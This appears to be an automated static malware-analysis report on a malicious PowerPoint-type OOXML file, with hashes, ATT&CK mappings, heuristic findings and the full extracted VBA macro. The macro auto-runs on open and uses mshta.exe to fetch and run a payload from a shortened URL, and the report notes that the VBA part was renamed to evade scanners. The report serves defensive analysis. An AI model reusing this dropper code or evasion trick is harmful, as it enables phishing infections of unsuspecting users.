Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 59a95c64df0146fb…

MALICIOUS

Office (OOXML)

6.0 KB First seen: 2021-10-27
MD5: 302c8294c151f8cc018dbfe00211db8f SHA-1: e5657ec350c929f3435d791d645edadfaaa2ce99 SHA-256: 59a95c64df0146fb56dd13b25582965034ca1d9687b1a878af06d0e628b60683
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Mshta T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA macro named Auto_Open. This macro is designed to execute a command using mshta.exe, which will download and run a payload from the constructed URL "https://www.bitly.com/kddjkdjdwwdokdwokefi". The use of Auto_Open and Shell() indicates an attempt to automatically execute malicious code upon opening the document, typical of a spearphishing attachment.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/ajsodkasodkasodk.b)
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 316 bytes
SHA-256: ddd09c2a151c74ab9861c34edc27c9d41909baf831b10b762ac63b21f4befe50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
Dim X As String
Dim Y As String
Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
Z = "kddjkdjdwwdokdwokefi"
Debug.Print X
Debug.Print Y
Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/ajsodkasodkasodk.b 13312 bytes
SHA-256: 01e4bde19848b1f119a72a5d51f840096fd65821bbad98a22bb6a6d032af2af1

Open this report in the interactive analyzer, or submit your own file for analysis.